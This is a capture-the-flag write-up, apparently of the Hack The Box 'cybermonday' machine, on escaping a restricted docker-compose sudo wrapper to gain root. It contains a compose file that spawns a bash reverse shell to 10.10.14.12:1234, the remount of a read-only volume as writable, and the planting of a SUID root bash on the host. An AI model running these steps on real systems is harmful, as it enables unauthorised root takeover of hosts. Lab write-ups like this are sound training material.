Remount


Although the security measures in the /opt/secure_compose.py prevents providing a write access to volume, there is a way to make it writable.

according to the official documentation of the mount program, remount option can be used to remount an already-mounted filesystem followed by an additional option to reassign the access level

this should bypass the restriction(volume must end with :ro) and make the mounted volume write-able

There are 2 whitelisted directories One is the /mnt directory, which I don’t have write access to and the other one is the home directory of the current user I’d go with the latter option since I can write to it

john@cybermonday:~$ mkdir letsMount ; cd letsMount

I will first create a directory in the home directory of the current user This will make things nice and organized

john@cybermonday:~/letsMount$ cat pe.yml 
version: '3'
services:
  privilegeescalation:
    image: nginx
    command: bash -c 'bash -i >& /dev/tcp/10.10.14.12/1234 0>&1'
    volumes:
      - "/home/john/letsmount:/mnt:ro"
    cap_add:
      - ALL
    security_opt:
      - apparmor:unconfined

Then, I will create an arbitrary YML file to load;

  • command: bash -c 'bash -i >& /dev/tcp/10.10.14.12/1234 0>&1'
    • the command will be executed upon the creation of the container
  • "/home/john/letsmount:/mnt:ro"
    • mounting the host’s /home/jon/letsMount directory to the /mnt directory of the container
      • with the :ro option at the end as it is mandatory
john@cybermonday:~/letsMount$ sudo -u root /opt/secure_compose.py /home/john/letsMount/pe.yml 
Starting services...

Upon executing the sudo privileged command with the created YML file..

I get a call back with a reverse shell

root@358676b50a0c:/# mount -o remount,rw /mnt
mount -o remount,rw /mnt
mount: /mnt: permission denied.
       dmesg(1) may have more information after failed mount system call.

Initially, attempting to remount the /mnt directory with both read and write accesses fails with the permission denied error

Unprivileged Syscall From Within


Looking into it online, I came across a post online that provides both explanation and solution

  • It failed since syscall is not allowed in the unprivileged Docker container
  • The initial solution doesn’t work for the current situation as the privilege option is not allowed
  • The other solution might work as they weren’t mentioned in the /opt/secure_compose.py file
    • adding capabilities essentially increases the privilege level
    • disabling the apparmor, which Docker enables by default, allows accessing the host’s system resource
version: '4'
services:
  privilegeEscalation:
    image: nginx
    command: bash -c 'bash -i >& /dev/tcp/10.10.14.12/1234 0>&1'
    volumes:
      - "/home/john/letsMount:/mnt:ro"
    cap_add:
      - ALL
    security_opt:
      - apparmor:unconfined

This is the modified version

I will execute the sudo privileged command again to start the container

┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.228] 60802
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@60f7e2a83cc3:/# cd /mnt ; ls
pe.yml
root@60f7e2a83cc3:/mnt# touch blah
touch: cannot touch 'blah': Read-only file system

I get a reverse shell back and still cannot write to the /mnt directory for now

root@60f7e2a83cc3:/mnt# mount -o remount,rw /mnt
root@60f7e2a83cc3:/mnt# touch blah
root@60f7e2a83cc3:/mnt# ls
blah
pe.yml

This time, remounting worked as the new Docker configuration allows so I can now write to the /mnt directory, which is mapped to the host filesystem

This is really important because I am not the john user here in this container. I am the root user

SUID bash


root@60f7e2a83cc3:/mnt# cp /bin/bash ./blash ; chmod +s ./blash

I can make a SUID bash to the the host filesystem as the root user The ownership and permission sets inherits

john@cybermonday:~/letsMount$ ./blash 
./blash: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./blash)
./blash: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.36' not found (required by ./blash)
./blash: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./blash)

From the host side, Attempting to execute the SUID binary as the john user fails due to not having the requires C library This could be worked around.

From the host


john@cybermonday:~/letsMount$ rm ./blash ; cp /bin/bash ./blash 

I can first create a copy of the Bash binary as the john user from the host side

root@60f7e2a83cc3:/mnt# chown root:root ./blash ; chmod +s ./blash

Then inject the ownership and SUID to the copy as the root user from within the container

Checking back at it from the host side, the copy now is a SUID binary and has the ownership of root:root

john@cybermonday:~/letsMount$ ./blash -p
blash-5.1# whoami
root
blash-5.1# hostname
cybermonday
blash-5.1# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:fd:cf brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.228/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:fdcf/64 scope global dynamic mngtmpaddr 
       valid_lft 86400sec preferred_lft 14400sec
    inet6 fe80::250:56ff:feb9:fdcf/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:5d:aa:97:80 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-ccc51e38e8e5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:d1:f6:a2:f8 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-ccc51e38e8e5
       valid_lft forever preferred_lft forever
    inet6 fe80::42:d1ff:fef6:a2f8/64 scope link 
       valid_lft forever preferred_lft forever
6: veth3da0451@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default 
    link/ether 12:84:1d:c4:82:54 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::1084:1dff:fec4:8254/64 scope link 
       valid_lft forever preferred_lft forever
8: veth8d534ae@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default 
    link/ether 22:5a:bd:69:a1:84 brd ff:ff:ff:ff:ff:ff link-netnsid 3
    inet6 fe80::205a:bdff:fe69:a184/64 scope link 
       valid_lft forever preferred_lft forever
10: veth8e36f78@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default 
    link/ether 9e:98:a9:dc:3f:cd brd ff:ff:ff:ff:ff:ff link-netnsid 1
    inet6 fe80::9c98:a9ff:fedc:3fcd/64 scope link 
       valid_lft forever preferred_lft forever
12: vetha22a302@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default 
    link/ether c2:c3:8a:cc:bb:e7 brd ff:ff:ff:ff:ff:ff link-netnsid 4
    inet6 fe80::c0c3:8aff:fecc:bbe7/64 scope link 
       valid_lft forever preferred_lft forever
14: veth6ef55f8@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default 
    link/ether 0a:86:68:90:89:77 brd ff:ff:ff:ff:ff:ff link-netnsid 2
    inet6 fe80::886:68ff:fe90:8977/64 scope link 
       valid_lft forever preferred_lft forever
16: veth331d22a@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default 
    link/ether 36:71:24:94:15:88 brd ff:ff:ff:ff:ff:ff link-netnsid 5
    inet6 fe80::3471:24ff:fe94:1588/64 scope link 
       valid_lft forever preferred_lft forever
63: br-5b1dd512be6b: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:17:23:12:17 brd ff:ff:ff:ff:ff:ff
    inet 192.168.48.1/20 brd 192.168.63.255 scope global br-5b1dd512be6b
       valid_lft forever preferred_lft forever
    inet6 fe80::42:17ff:fe23:1217/64 scope link 
       valid_lft forever preferred_lft forever
65: veth117b29b@if64: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-5b1dd512be6b state UP group default 
    link/ether 16:63:6c:53:05:1f brd ff:ff:ff:ff:ff:ff link-netnsid 6
    inet6 fe80::1463:6cff:fe53:51f/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise

The -p flag to activate the privileged mode (SUID) since bash alone doesn’t run with SUID by default